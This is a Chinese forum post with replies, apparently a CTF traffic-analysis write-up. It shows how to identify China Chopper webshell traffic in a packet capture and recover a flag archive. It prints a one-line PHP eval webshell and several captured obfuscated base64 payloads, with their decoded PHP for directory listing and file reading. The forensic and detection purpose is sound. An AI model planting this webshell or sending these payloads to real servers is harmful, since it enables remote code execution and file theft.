首页
社区
课程
招聘
[原创]流量分析- 中国菜刀
发表于: 2023-8-14 13:31 13787

[原创]流量分析- 中国菜刀

2023-8-14 13:31
13787

总共33条数据,其中A-B通信有一条,对数据进行过滤

总共发现有三组数据包交互

代码审计,右键http追踪第一条POST数据,发现存在名称为123的数组参数,发现$xx里面包含编码后的字符串信息,使用url解码加上base64解码成功获取数据

字符串解码后的数据

查看包含echo函数,该函数为PHP字符串命令执行函数,存在风险,推测有可能为phpwebShell后门
再结合第二组数据分析 X@Y<?php eval($_POST[123]);?> X@Y 确认是PHP一句话木马

由于解码后发现@ini_set("display_errors","0"),近一步判断user-agent得出结果不是蚁剑

分析第二组数据,发现包含 eval 函数和$POST


获取X@Y<?php eval($_POST[123]);?> X@Y,根据菜刀特征 eval$POST猜测使用工具为菜刀,而[123]则为payload,这个123可以确认是 array_map数组

根据第二组数据还原出文件为3.php

内容为X@Y<?php eval($_POST[123]);?> X@Y

根据第二组会话判断密码为123

该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。

代码审计,分析第三组TCP会话数据发现传输文件名为flag.tar.gz,并且会使用 echo("X@Y")X@Y字符串当做指令写入到文件内部

查看报文response,疑惑 X@Y文件头信息,发现只是混淆作用

右键查看数据包,定位到文件导出,使用RAW流导出

会提示我们格式不支持

使用010Editor打开修改文件头和文件结尾,一般修改文件头即可

看到 58 40 59,我们查看文件头根本查不到,因为这是混淆我们的,去掉58 40 59后保存,也可以根据 1F 8B 特征判断

修改后保存可以正常打开,解压发现有一个flag.txt文件

修改为compressed表示解压缩,后面start 表示字节往右边偏移几位,X@Y就需要偏移三位就可以获取到

文件获取flag

Wireshark-show Packet Bytes修改start 获取flag

流量分析水平得到了提升,对菜刀工具特征有了清晰的认识。

123=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0M6XFx3d3dyb290XFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));
123=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0M6XFx3d3dyb290XFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$D='C:\\wwwroot\\';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("X@Y");die();
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$D='C:\\wwwroot\\';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("X@Y");die();
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
123=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9IkM6XFx3d3dyb290XFxmbGFnLnRhci5neiI7JGZwPUBmb3BlbigkRiwncicpO2lmKEBmZ2V0YygkZnApKXtAZmNsb3NlKCRmcCk7QHJlYWRmaWxlKCRGKTt9ZWxzZXtlY2hvKCdFUlJPUjovLyBDYW4gTm90IFJlYWQnKTt9O2VjaG8oIlhAWSIpO2RpZSgpOw%3D%3D'));\");"));
 
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$F='C:\\wwwroot\\3.php';$P=@fopen($F,'r');echo(@fread($P,filesize($F)));@fclose($P);;echo("X@Y");die();
123=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9IkM6XFx3d3dyb290XFxmbGFnLnRhci5neiI7JGZwPUBmb3BlbigkRiwncicpO2lmKEBmZ2V0YygkZnApKXtAZmNsb3NlKCRmcCk7QHJlYWRmaWxlKCRGKTt9ZWxzZXtlY2hvKCdFUlJPUjovLyBDYW4gTm90IFJlYWQnKTt9O2VjaG8oIlhAWSIpO2RpZSgpOw%3D%3D'));\");"));
 
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$F='C:\\wwwroot\\3.php';$P=@fopen($F,'r');echo(@fread($P,filesize($F)));@fclose($P);;echo("X@Y");die();

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2023-8-18 08:10 被Spider_008编辑 ,原因: 图片不显示
收藏
免费 2
支持
分享
最新回复 (7)
雪    币: 3751
活跃值: (5074)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
图片错误了
2023-8-15 23:06
0
雪    币: 606
活跃值: (1469)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
3
已修复~
2023-8-16 05:11
0
雪    币: 3070
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
感谢分享
2023-8-16 09:12
0
雪    币: 605
活跃值: (450)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
牛啊大佬
2023-8-22 18:12
0
雪    币: 201
活跃值: (91)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
有一个地方没看懂,文中提到“根据菜刀特征 eval 和 $POST猜测使用工具为菜刀”,是怎么根据eval和$post猜测出是菜刀的呢?  求答疑
2023-9-8 09:28
1
雪    币: 606
活跃值: (1469)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
7
younguy 有一个地方没看懂,文中提到“根据菜刀特征 eval 和 $POST猜测使用工具为菜刀”,是怎么根据eval和$post猜测出是菜刀的呢? 求答疑
您好,谈谈我的理解:
- 第一:“eval”,eval函数用于传递攻击payload,这是必不可少的;
- 第二:`(base64_decode($_POST[z0]))`, 是将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用`Base64编码`,以免被检测。
- 第三:`&z0=QGluaV9zZXQ...,`该部分是传递攻击payload,此参数z0对应`$_POST[z0]`接收到的数据,该参数值是使用`Base64`编码的,所以可以利用`base64解码`可以看到攻击明文。
- 注意:
       - 1.有少数时候`eval`方法会被`assert`方法替代
       - 2.`$_POST也会被$_GET、$_REQUEST`替代
       - 3.`z0`是菜刀默认的参数,这和地方也可能被修改为其他参数名
通过三点特征辨认出来菜刀特征,有不对请指出!
2023-9-8 20:23
1
雪    币: 201
活跃值: (91)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
Spider_008 [em_51]您好,谈谈我的理解: - 第一:“eval”,eval函数用于传递攻击payload,这是必不可少的; - 第二:`(base64_decode($_POST[z0]))`, 是将攻 ...
都不算太特征吧,第一eval函数太常见于写各种码了,第二base64在自己写码的时候也可以加上编码,连接不一定通过工具连接,直接访问shell文件的时候传输流量的码也是base64的,至于第三就与第二有关了, 这个分析有点像知道答案(菜刀)写过程(特征),当然了,菜刀确实是用base64传输没有错,现在不知道升级没有
2023-9-11 14:27
0
游客
登录 | 注册 方可回帖
返回
//